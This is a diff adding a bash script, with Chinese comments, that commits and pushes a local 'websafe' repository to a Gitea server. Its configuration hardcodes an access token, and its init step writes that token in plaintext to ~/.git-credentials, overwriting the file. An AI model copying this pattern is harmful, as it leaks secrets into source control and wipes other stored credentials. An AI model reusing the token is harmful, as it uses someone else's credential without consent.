+# sync-gitea.sh - 自动同步到 Gitea 仓库
+#
+# 用法:
+#   ./sync-gitea.sh              # 正常提交和推送
+#   ./sync-gitea.sh --init       # 初始化仓库
+#   ./sync-gitea.sh --commit     # 仅提交
+#   ./sync-gitea.sh --push       # 仅推送
+
+set -e
+
+# 配置
+REPO_DIR="/Users/x/websafe"
+GITEA_URL="https://git.hk.hao.work"
+REPO_NAME="websafe-kb"
+GITEA_TOKEN="267bc2e8b189b8fb6daf56e41a9e5ad47d543968"
+GIT_USER="hao"
+GIT_EMAIL="hao@users.noreply.git.hk.hao.work"
+
+cd "$REPO_DIR"
+
+# 颜色定义
+RED='\033[91m'
+GREEN='\033[92m'
+YELLOW='\033[93m'
+BLUE='\033[94m'
+END='\033[0m'
+
+log_info() {
+    echo -e "${BLUE}[INFO]${END} $1"
+}
+
+log_success() {
+    echo -e "${GREEN}[SUCCESS]${END} $1"
+}
+
+log_warning() {
+    echo -e "${YELLOW}[WARNING]${END} $1"
+}
+
+log_error() {
+    echo -e "${RED}[ERROR]${END} $1"
+}
+
+# 初始化仓库
+init_repo() {
+    log_info "初始化 Git 仓库..."
+    
+    if [ -d ".git" ]; then
+        log_warning "Git 仓库已存在"
+    else
+        git init
+        git config user.name "$GIT_USER"
+        git config user.email "$GIT_EMAIL"
+        log_success "Git 仓库初始化完成"
+    fi
+    
+    # 添加远程仓库
+    if git remote | grep -q "origin"; then
+        git remote set-url origin "${GITEA_URL}/${GIT_USER}/${REPO_NAME}.git"
+        log_info "远程仓库 URL 已更新"
+    else
+        git remote add origin "${GITEA_URL}/${GIT_USER}/${REPO_NAME}.git"
+        log_success "远程仓库已添加"
+    fi
+    
+    # 配置凭证
+    git config credential.helper store
+    echo "https://${GIT_USER}:${GITEA_TOKEN}@git.hk.hao.work" > ~/.git-credentials 2>/dev/null || true
+    chmod 600 ~/.git-credentials 2>/dev/null || true
+    
+    log_success "初始化完成"
+}
+
+# 提交更改
+commit_changes() {
+    log_info "检查更改..."
+    
+    # 添加所有文件
+    git add -A
+    
+    # 检查是否有更改
+    if git diff --staged --quiet; then
+        log_info "没有需要提交的更改"
+        return 0
+    fi
+    
+    # 生成提交信息
+    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
+    local changed_files=$(git diff --staged --name-only | wc -l | tr -d ' ')
+    local commit_msg="更新: ${changed_files} 个文件 - ${timestamp}"
+    
+    # 如果提供了自定义提交信息
+    if [ -n "$1" ]; then
+        commit_msg="$1"
+    fi
+    
+    git commit -m "$commit_msg"
+    log_success "提交完成: $commit_msg"
+}
+
+# 推送到远程
+push_changes() {
+    log_info "推送到远程仓库..."
+    
+    # 获取当前分支
+    local branch=$(git branch --show-current 2>/dev/null || echo "main")
+    
+    # 如果分支为空，使用 main
+    if [ -z "$branch" ]; then
+        branch="main"
+    fi
+    
+    # 推送
+    if git push -u origin "$branch" 2>&1; then
+        log_success "推送完成: $branch"
+    else
+        log_error "推送失败"
+        return 1
+    fi
+}
+
+# 完整同步
+full_sync() {
+    commit_changes
+    push_changes
+}
+
+# 显示帮助
+show_help() {
+    echo "用法: $0 [选项]"
+    echo ""
+    echo "选项:"
+    echo "  --init      初始化 Git 仓库"
+    echo "  --commit    仅提交更改"
+    echo "  --push      仅推送到远程"
+    echo "  --status    显示仓库状态"
+    echo "  --help      显示此帮助"
+    echo ""
+    echo "无参数运行时执行完整同步 (提交 + 推送)"
+}
+
+# 显示状态
+show_status() {
+    log_info "仓库状态:"
+    echo ""
+    git status -s
+    echo ""
+    
+    local ahead=$(git rev-list --count @{upstream}..HEAD 2>/dev/null || echo "0")
+    local behind=$(git rev-list --count HEAD..@{upstream} 2>/dev/null || echo "0")
+    
+    log_info "领先远程 $ahead 个提交, 落后 $behind 个提交"
+}
+
+# 主程序
+case "${1:-}" in
+    --init)
+        init_repo
+        ;;
+    --commit)
+        commit_changes "$2"
+        ;;
+    --push)
+        push_changes
+        ;;
+    --status)
+        show_status
+        ;;
+    --help|-h)
+        show_help
+        ;;
+    *)
+        full_sync
+        ;;
+esac
\ No newline at end of file